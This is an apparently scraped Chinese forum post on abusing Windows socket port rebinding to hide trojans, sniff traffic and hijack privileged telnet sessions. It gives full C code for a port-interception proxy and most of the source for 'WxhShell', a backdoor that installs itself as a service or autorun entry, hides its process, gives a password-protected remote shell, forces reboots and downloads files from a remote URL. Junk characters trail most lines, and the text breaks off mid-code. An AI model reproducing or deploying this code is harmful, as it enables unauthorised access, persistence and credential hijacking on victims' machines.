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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '-~J.8-</  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BINHCZ  
hxJKYU^%m  
  saddr.sin_family = AF_INET; OhaoLmA}6  
.#sX|c=W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *'-C/  
!jEV75  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z/GSR$@lI  
O 1X)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zA|lbJz=GY  
6 3PV R"  
  这意味着什么?意味着可以进行如下的攻击: MUtM^uY  
s/>0gu]A8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ['>r tV  
\%}]wf}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {@x-T  
2RqV\Jik  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \%]lsml  
d'Dd66  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T8*;?j*@  
pFu!$.Fr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4 u0?[v[Hu  
r-WX("Vvh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $%&OaAg  
 N`X|z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )VG>6x  
v3n T@r a'  
  #include y'oH>l+n  
  #include pfl^GgP#  
  #include f/.f08  
  #include    cj2^wmkB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2}.~ 6EU/  
  int main() 8U]mr+  
  { V!@6Nv  
  WORD wVersionRequested; A3q#,%  
  DWORD ret; m^RO*n.  
  WSADATA wsaData; :To{&T  
  BOOL val; g^=Ruh+  
  SOCKADDR_IN saddr; Lcy6G%A  
  SOCKADDR_IN scaddr; "ZNy*.G|[  
  int err; #'i,'h+F  
  SOCKET s; d[H`Fe6h  
  SOCKET sc; ]gA2.,)}D  
  int caddsize; `6NcE-oJ  
  HANDLE mt; WkpHe  
  DWORD tid;   cs:?Wq ^  
  wVersionRequested = MAKEWORD( 2, 2 ); p ]s)Xys  
  err = WSAStartup( wVersionRequested, &wsaData ); r4?|sAK  
  if ( err != 0 ) { x A*6Z)Y  
  printf("error!WSAStartup failed!\n"); * +6Z^ 7  
  return -1; 9RK.+ 2  
  } ~e]l  
  saddr.sin_family = AF_INET; $.ctlWS8l{  
   ~xJr|_,gp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Vhn Ir#L+  
NJ$Qm.S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PyQ\O*  
  saddr.sin_port = htons(23); Efpj u(   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 02:`Joy2D  
  { \mt Y_O  
  printf("error!socket failed!\n"); ?jbx7')  
  return -1; mSEX?so=[  
  } G8Ow;:Ro  
  val = TRUE; NUuIhB+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eG dFupfz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G]Im.x3O-  
  {  z_(4  
  printf("error!setsockopt failed!\n"); au+:-Khm  
  return -1; 8&1xb@Nc7  
  } e?GzvM'2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {"N:2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eQfXUpk3@I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4~vn%O6n  
O^3XhTW^\~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AJoP3Zv|?  
  { g`6I,6G  
  ret=GetLastError(); oy=ej+:  
  printf("error!bind failed!\n"); Nk$|nn9#'  
  return -1; kFfNDM#D  
  } |b!Bb<5  
  listen(s,2); M~9IL\J^G  
  while(1) Hm~.u.)\.  
  { vXak5iq>X  
  caddsize = sizeof(scaddr); Yqt~h  
  //接受连接请求 n (Um/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |B2>}Y/  
  if(sc!=INVALID_SOCKET) ++|e z{  
  { t<^7s9r;I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O? 7hT!{  
  if(mt==NULL) H.t fn>N|  
  { {JfL7%  
  printf("Thread Creat Failed!\n"); @k-GyV-v  
  break; _( QW2m?K  
  } :vFYqoCn  
  } Ud#xgs'  
  CloseHandle(mt); 8K\S]SZ  
  } T9>,Mx%D[  
  closesocket(s); Pf3F)y[=  
  WSACleanup(); 7?uIl9Vk>(  
  return 0; AbX#wpp!  
  }   H[?l)nZ}  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0.U- tg0  
  { hXc:y0 0  
  SOCKET ss = (SOCKET)lpParam; ~x+&cA-0A2  
  SOCKET sc; ^jk-GRD*  
  unsigned char buf[4096]; /~/nhKm  
  SOCKADDR_IN saddr; YgQb(umK  
  long num; }e>OmfxDBt  
  DWORD val; -_>E8PhM  
  DWORD ret; 1E$^ul-v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Et&PzDvU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;F /w&u.n  
  saddr.sin_family = AF_INET; W;F=7[h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =o[H2o y  
  saddr.sin_port = htons(23); [3v&j_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VexQ ]  
  { .6iJ:A6T  
  printf("error!socket failed!\n"); X/D% cQ6  
  return -1; 2KNs,4X@  
  } R]d934s  
  val = 100; lQVK~8t3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1L4v X  
  { X $SXDb~G  
  ret = GetLastError(); sGGi7 %  
  return -1; 6PMu*-Nv!j  
  } 58PL@H~@0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !*,m=*[3  
  { ~01t_Xp qc  
  ret = GetLastError(); D\z`+TyJ  
  return -1; @-O%u* %J  
  } F^cu!-L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y>CZ  
  { ;Hu`BFXyD  
  printf("error!socket connect failed!\n"); X1&c?T1 %[  
  closesocket(sc); bG]?AiW r  
  closesocket(ss); wkD"EuW(  
  return -1; B~u`bn,iQ  
  } BHS8MV L@  
  while(1) 2nI^fVR%\  
  { B1J2m^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5Qxm\?0J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @[O|n)7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W"5VqN6v  
  num = recv(ss,buf,4096,0); +VO(6Jn  
  if(num>0) O/fm/  
  send(sc,buf,num,0); 7"Q;Yi2(  
  else if(num==0) >2#F5c67  
  break; I=7 YAm[W  
  num = recv(sc,buf,4096,0); #$u7:p [t  
  if(num>0) "lKR~Qi  
  send(ss,buf,num,0); 'CvV Ktk  
  else if(num==0) Gi,4PD-ro  
  break; j$r2=~1  
  } k}e~xbh-y  
  closesocket(ss); W>E|Iv[o  
  closesocket(sc); CD)JCv  
  return 0 ; o3oTu  
  } \!4_m8?  
5:SS2>~g  
gO_d!x*  
========================================================== < !PbD  
*NoixV1>  
下边附上一个代码,,WXhSHELL ]=(PtzVa  
"Pzh#rYY~W  
========================================================== *^p^tK  
LDj*~\vsq  
#include "stdafx.h" B5!|L)7>{p  
v=E(U4v9e  
#include <stdio.h> N$P\$  
#include <string.h> hfRxZ>O2  
#include <windows.h> |) CfO4  
#include <winsock2.h> J,t`il T  
#include <winsvc.h> r!/<%\S  
#include <urlmon.h> uQz!of%x  
.c\iKc#  
#pragma comment (lib, "Ws2_32.lib") }EN-WDJD\  
#pragma comment (lib, "urlmon.lib") k6(0:/C  
=v=u+nO  
#define MAX_USER   100 // 最大客户端连接数 |_%q@EID  
#define BUF_SOCK   200 // sock buffer D[3QQT7c  
#define KEY_BUFF   255 // 输入 buffer 1 abQoe  
r)[Xzn   
#define REBOOT     0   // 重启 *fQn!2}=(  
#define SHUTDOWN   1   // 关机 ?I ;PJj  
z#/"5 l   
#define DEF_PORT   5000 // 监听端口 C{]1+eL  
xi15B5 _Ps  
#define REG_LEN     16   // 注册表键长度 PySFhb@  
#define SVC_LEN     80   // NT服务名长度 Fq'Ds[wd5  
-BEd7@?A  
// 从dll定义API %(:{TR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >lF@M-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B9S@G{`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ma@!"Z8 S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  !xEGN@  
lec3rv0)  
// wxhshell配置信息 ln_[@K[oX  
struct WSCFG { b8|<O:]Hp  
  int ws_port;         // 监听端口 mi@ni+2Tn  
  char ws_passstr[REG_LEN]; // 口令 -{NP3zy  
  int ws_autoins;       // 安装标记, 1=yes 0=no kQO-V4z!  
  char ws_regname[REG_LEN]; // 注册表键名 ^#4Ah[:XA  
  char ws_svcname[REG_LEN]; // 服务名 gPIl:, d(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M[ ON2P;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hh* KcIRX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y-~ M kB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no > O~   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HSEz20s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5TLE%#G@+  
"b\@.7".  
}; :jFZz%   
u=7 #_ZC9L  
// default Wxhshell configuration ~"r(PCa@  
struct WSCFG wscfg={DEF_PORT, ;Swy5z0=ro  
    "xuhuanlingzhe", eQ<Vky^SJ  
    1, 9s?gI4XN  
    "Wxhshell", NYc;Zwv9  
    "Wxhshell",  huvn_  
            "WxhShell Service", m |Sf'5fK  
    "Wrsky Windows CmdShell Service", _}tPtHPa/  
    "Please Input Your Password: ", /ACau<U]t  
  1, C=JS]2W2  
  "http://www.wrsky.com/wxhshell.exe", YmLpGqNv  
  "Wxhshell.exe" 12tk$FcY8*  
    }; g nw">H  
9V>C %I  
// 消息定义模块 $Ww.^ym  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4<Kxo\\S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0rxGb} b*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yYdh+x  
char *msg_ws_ext="\n\rExit."; ~ /rKKc  
char *msg_ws_end="\n\rQuit."; 8y;gs1d;A  
char *msg_ws_boot="\n\rReboot..."; MhIHfW]b  
char *msg_ws_poff="\n\rShutdown..."; k t+h\^g  
char *msg_ws_down="\n\rSave to "; M"6J"s  
>96+s)T%;  
char *msg_ws_err="\n\rErr!"; P3v4!tR  
char *msg_ws_ok="\n\rOK!"; pUa\YO1J  
-B#K}xL|x  
char ExeFile[MAX_PATH]; Nw1Bn~yx<R  
int nUser = 0; +'_ peT.8  
HANDLE handles[MAX_USER]; \{v-Xe&d^  
int OsIsNt; *:ErZ UyQM  
ay]l\d2!3  
SERVICE_STATUS       serviceStatus; OxUc,%e9P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zR )/h   
h.kjJF  
// 函数声明 =MwR)CI#  
int Install(void); s"p\-Z  
int Uninstall(void); c )=a;_h  
int DownloadFile(char *sURL, SOCKET wsh); I@TH^8(  
int Boot(int flag); fNBI!=  
void HideProc(void); @^GI :z  
int GetOsVer(void); rPt   
int Wxhshell(SOCKET wsl); pJuD+v  
void TalkWithClient(void *cs); 4BeHj~~  
int CmdShell(SOCKET sock); +.zX?}  
int StartFromService(void); Lcf?VV}  
int StartWxhshell(LPSTR lpCmdLine); q *kLi~ Oe  
ZD4aT1|Q7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b1QHZY\g{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `G%h=rr^c  
`ZT/lB`  
// 数据结构和表定义 4p%^?L?  
SERVICE_TABLE_ENTRY DispatchTable[] = AQ,"):ofvT  
{ umCmxm r&  
{wscfg.ws_svcname, NTServiceMain}, pCC^Hxa  
{NULL, NULL}  cp0yr:~  
}; N1 sdWXG  
j8aH*K-l{  
// 自我安装 \:+ NVIN  
int Install(void) ~+V$0Q;L  
{ :jC$$oC].  
  char svExeFile[MAX_PATH]; R<ORw]  
  HKEY key; %(]B1Zg6,  
  strcpy(svExeFile,ExeFile); Cq'{ %  
?cn`N|   
// 如果是win9x系统,修改注册表设为自启动 VTY #{  
if(!OsIsNt) { _>;{+XRX[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z#D*HAd`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b"nkF\P@Fj  
  RegCloseKey(key); I!SIy&=W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <N>7.G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +SW|/oIU  
  RegCloseKey(key); btC6R>0   
  return 0; kUfbB#.5L  
    } ei"c|/pO  
  } _dW#[TCF  
} ivB,s5<  
else { MZxU)QW1  
2%9L'-  
// 如果是NT以上系统,安装为系统服务 ,Q.[Lc=w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .}T-R?  
if (schSCManager!=0) ZkO2*;  
{ lY2~{Y|4s  
  SC_HANDLE schService = CreateService esq~Ehr=  
  ( [:q J1^UU  
  schSCManager, ?P4y$P  
  wscfg.ws_svcname, d|)ARRW  
  wscfg.ws_svcdisp, ?$uEN_1O\@  
  SERVICE_ALL_ACCESS, IKaW],sr#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R(,m!  
  SERVICE_AUTO_START, Zsmv{p  
  SERVICE_ERROR_NORMAL, L3'isaz&^  
  svExeFile, yeBfzKI{b  
  NULL, hwQ|'^(@O  
  NULL, 7oc Ng  
  NULL, /-t!)_zvw  
  NULL, ~)[ pL(4  
  NULL X.FoX  
  ); 5wha _Yet  
  if (schService!=0) BwGOn)KL  
  { ?L H[,8z  
  CloseServiceHandle(schService); AK%&Kq&PaY  
  CloseServiceHandle(schSCManager); %M/L/_d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w=: c7Y+  
  strcat(svExeFile,wscfg.ws_svcname); i )$+#N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >j*0fb!:]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uFhPNR2l  
  RegCloseKey(key); ~66v.`K!  
  return 0; ShvC4Xb 0  
    } ZNpC& "`G  
  } aY;34SF  
  CloseServiceHandle(schSCManager); fe"w--v  
} 'HCRi Z<  
} UH;bg}=8  
#3eI4KJ4+l  
return 1; ^eefR5^_w  
} %cDDu$9;  
' V*}d  
// 自我卸载 ?I:_FT  
int Uninstall(void) r'_#rl  
{ rj4Mq:pJ  
  HKEY key; Pth4_]US  
G`&P|xYg  
if(!OsIsNt) { *~cNUyd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4>fj @X(3  
  RegDeleteValue(key,wscfg.ws_regname); * CAz_s<  
  RegCloseKey(key); [u J<]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k.Gt }\6zP  
  RegDeleteValue(key,wscfg.ws_regname); k6Vs#K7a  
  RegCloseKey(key); ;~WoJlEK3  
  return 0; =knLkbiq7,  
  } !vc 5NKv#n  
} +ut%C.1  
} dS \n 2Qb  
else { T nyLVIP  
s?nj@:4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -em3 #V  
if (schSCManager!=0) s>WqVuXmn  
{ TaKHr$h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kkj@!1q(wO  
  if (schService!=0) hp}rCy|01  
  { 'd;aAG  
  if(DeleteService(schService)!=0) { 6z/&j} (  
  CloseServiceHandle(schService); 6& hiW]Adm  
  CloseServiceHandle(schSCManager); E5c)\ D  
  return 0; E%stFyr9`/  
  } @T.F/Pjhc  
  CloseServiceHandle(schService); 7)Tix7:9S;  
  } *laFG <;  
  CloseServiceHandle(schSCManager); -GQ.B{%G  
} /BF7N3  
} L;b-=mF  
20`XklV  
return 1; F^TOLwix  
} ,.gJ8p(0x  
/jq"r-S"  
// 从指定url下载文件 "/UPq6  
int DownloadFile(char *sURL, SOCKET wsh) FgPmQ  
{ CPP9=CoR37  
  HRESULT hr; a"1LF`  
char seps[]= "/"; ,pkzNe`F  
char *token; *|0W3uy\Y  
char *file; ~Sd,Tu%:  
char myURL[MAX_PATH]; WFS6N.Ap  
char myFILE[MAX_PATH]; o5Knot)Oy  
/\1Q :B3W  
strcpy(myURL,sURL); Gt!Hm(  
  token=strtok(myURL,seps); Tilr%D(Q  
  while(token!=NULL) <!|=_W6  
  { y%YP  
    file=token; >Wpdq(o  
  token=strtok(NULL,seps); xu;^F  
  } aIWpgUd`  
Ox'K C  
GetCurrentDirectory(MAX_PATH,myFILE); =3,Sjme  
strcat(myFILE, "\\"); _,-\;  
strcat(myFILE, file); /`O'eH  
  send(wsh,myFILE,strlen(myFILE),0); r&L1jT.  
send(wsh,"...",3,0); L;KLmxy#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xrJ0  
  if(hr==S_OK) 2Paw*"U  
return 0; Me;Nn$'%  
else |:SXN4';?  
return 1; EkN>5).  
VC!g,LU|-  
} %g4)f9>  
7G_lGV_  
// 系统电源模块 (fO~nN{F  
int Boot(int flag) <R#:K7> O  
{ ZPY84)A_}  
  HANDLE hToken; N=:xyv  
  TOKEN_PRIVILEGES tkp; B_.>Q8tK;  
IRI<no  
  if(OsIsNt) { r8L'C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `"bp -/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %,)Xi  
    tkp.PrivilegeCount = 1; GuJIN"P]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z ?w=-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q $>SYvW  
if(flag==REBOOT) { I,lzyxRP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WF <*rl  
  return 0; 0j{KZy  
} /3~}= b  
else { /p@0Q [E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?T_hK  
  return 0; 6[>Zy)P  
} jY\YSQ  
  } ve= nh]N  
  else { R~BW=Dz,e  
if(flag==REBOOT) { hzX&BI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >Q^*h}IdW  
  return 0; N;e*eMFE  
} _n< @Jk~  
else { . J*2J(T,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~3m} EL  
  return 0; (%;D& ~%o  
} {pB9T3ry]  
} Bk~M^AK@~  
QgX[?2  
return 1; Q|cA8Fn  
}  \R<OT%8  
~wRozV  
// win9x进程隐藏模块 YcBAW4B`  
void HideProc(void) iD9hqiX&  
{ GEi^3UD  
JTB5#S4W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3836Di:{  
  if ( hKernel != NULL ) N DV_/BI  
  { u8@>ThPD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cj/FqU"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZCVN+::Y  
    FreeLibrary(hKernel); \7,'o] >M-  
  } x; *KRO  
Yt;.Z$i ,  
return; GQ9g$&T  
} sWnU*Q  
W1J7$   
// 获取操作系统版本 OC[(Eq  
int GetOsVer(void) {%b-~& F9  
{ Nm=W?i  
  OSVERSIONINFO winfo; FeFH_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SLc'1{  
  GetVersionEx(&winfo); +<H)DPG<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W;C41>^?/  
  return 1; izi=`;=D^  
  else W7"ks(  
  return 0; Io&F0~Z;;(  
} jM3{A;U2  
?o9g5Z  
// 客户端句柄模块 ?79ABm a  
int Wxhshell(SOCKET wsl) jM90 gPX>,  
{ Dl%NVi+n  
  SOCKET wsh; L[*Xrp;/&  
  struct sockaddr_in client; 8+ 1t ys  
  DWORD myID; 'DQKpk'  
ZWSYh>"  
  while(nUser<MAX_USER) ;HJ|)PN5L  
{ X@)5F 9  
  int nSize=sizeof(client); T!)v9L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }ya9 +?I  
  if(wsh==INVALID_SOCKET) return 1; sD* 8:Hl  
|L4K#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rr# &0`]  
if(handles[nUser]==0) }4kd=]Nk  
  closesocket(wsh); \5Jpr'mY5  
else |}\et ecB  
  nUser++; *#,wV  
  } :d-+Z%Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yla&/K;|*  
^l6q  
  return 0;  `' 5(4j  
} _*+ 7*vAL  
gYx|Na,+  
// 关闭 socket nmVL%66K  
void CloseIt(SOCKET wsh) ;z>)&F  
{ Qsc%qt-l  
closesocket(wsh); J]~LmSh  
nUser--; -Vk+zEht  
ExitThread(0); vO"Sy{)Z>  
} q7C>A`w  
ayuj)]b  
// 客户端请求句柄 jnX9] PkJ  
void TalkWithClient(void *cs) QdL ;|3K9  
{ DGTSk9iK(  
o64&BpCK  
  SOCKET wsh=(SOCKET)cs; < Vr"  
  char pwd[SVC_LEN]; 1j<=TWit  
  char cmd[KEY_BUFF]; % ^g BDlR^  
char chr[1]; #n 7uw  
int i,j; _YY:}'+  
h84}lxT^]  
  while (nUser < MAX_USER) { YsXP$y]g-  
*Y6BPFE*4  
if(wscfg.ws_passstr) { r"SuE:D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qIa|sV\w0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;-47d ^  
  //ZeroMemory(pwd,KEY_BUFF); EaG3:<>J  
      i=0; oW(p (>  
  while(i<SVC_LEN) { /+ vl({vV  
eZ y)>.6Z  
  // 设置超时 J.mEOo!>  
  fd_set FdRead; LZV  
  struct timeval TimeOut; w%)=`'s_  
  FD_ZERO(&FdRead); *?7Ie;)  
  FD_SET(wsh,&FdRead); iVzv/Lqm1  
  TimeOut.tv_sec=8; MVK='  
  TimeOut.tv_usec=0; eXWiTi@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s!``OyI/Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =9GL;z:R+  
jm'(t=Ze  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uwr inkoeE  
  pwd=chr[0]; y iE[^2Pv  
  if(chr[0]==0xd || chr[0]==0xa) { V=BF"S;-'  
  pwd=0; wX" 6 S:  
  break; W`K XO|'p@  
  } i2A>T/?{  
  i++; G*ZHLLO4S\  
    } i2/:' i  
c%r?tKG6  
  // 如果是非法用户,关闭 socket (X@JlAfB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gYfN ?A*`_  
} ~xpU<Pd*  
~cVFCM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oJbD|m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MbC7`Sp&i  
]d}Z2I'  
while(1) { mnu4XE#|  
(m4`l_  
  ZeroMemory(cmd,KEY_BUFF); h.ojj$f,  
kXA o+l  
      // 自动支持客户端 telnet标准   3'8B rK  
  j=0; b"t95qlL  
  while(j<KEY_BUFF) { q [Rqy !,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X90VJb]  
  cmd[j]=chr[0]; R:P'QM   
  if(chr[0]==0xa || chr[0]==0xd) { e)LRD&Q  
  cmd[j]=0; ,J"6(nk  
  break; lcHw Kd  
  } vF0#]  
  j++; u;p{&\(]  
    } os|8/[gT  
hC?:XVt  
  // 下载文件 ^&buX_nlO  
  if(strstr(cmd,"http://")) { <61T)7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4eK!1|1  
  if(DownloadFile(cmd,wsh)) B *p`e1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~q4KQ&.!  
  else >Lx,<sE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2W:R{dHE  
  } J^8(h R  
  else { Q;W[$yvW  
nfET;:{  
    switch(cmd[0]) { [Hw  
  je@F:5  
  // 帮助 h3D~?Iom  
  case '?': { a|rN %hA4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YyEW}2  
    break; EjW3_ %  
  } u :AKp<'  
  // 安装 =(:{>tO_"  
  case 'i': { ivDmPHj{  
    if(Install()) yH5^EY7rQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @q:v?AO  
    else L[o;@+32  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {\z&`yD@  
    break; GSo&$T;B6  
    } "} =RPc%9  
  // 卸载 Xmr|k:z  
  case 'r': { ap;?[B~Ga  
    if(Uninstall()) s+IU%y/9$a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IX@g].)C  
    else ]5| o8.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jej|B#?`  
    break; Cq\1t  
    } C_xO k'091  
  // 显示 wxhshell 所在路径 (1pI#H"f9  
  case 'p': { "c5C0 pK0  
    char svExeFile[MAX_PATH]; 0qP&hybL[(  
    strcpy(svExeFile,"\n\r"); ETU.v*HT]  
      strcat(svExeFile,ExeFile); z\64Qpfm  
        send(wsh,svExeFile,strlen(svExeFile),0); CR8a)X4j#  
    break; .x\fPjB   
    } |m{Q_zAB  
  // 重启 XfY~q~f8  
  case 'b': { M]9oSi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :sO^b*e /  
    if(Boot(REBOOT)) OSP#FjH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qkQ _#  
    else { hLF+_{\C|  
    closesocket(wsh); =2+';Xk\  
    ExitThread(0); &"X6s%ZH|  
    } T'YHV}b}vX  
    break; xX;@ BS  
    } MtE18m "z  
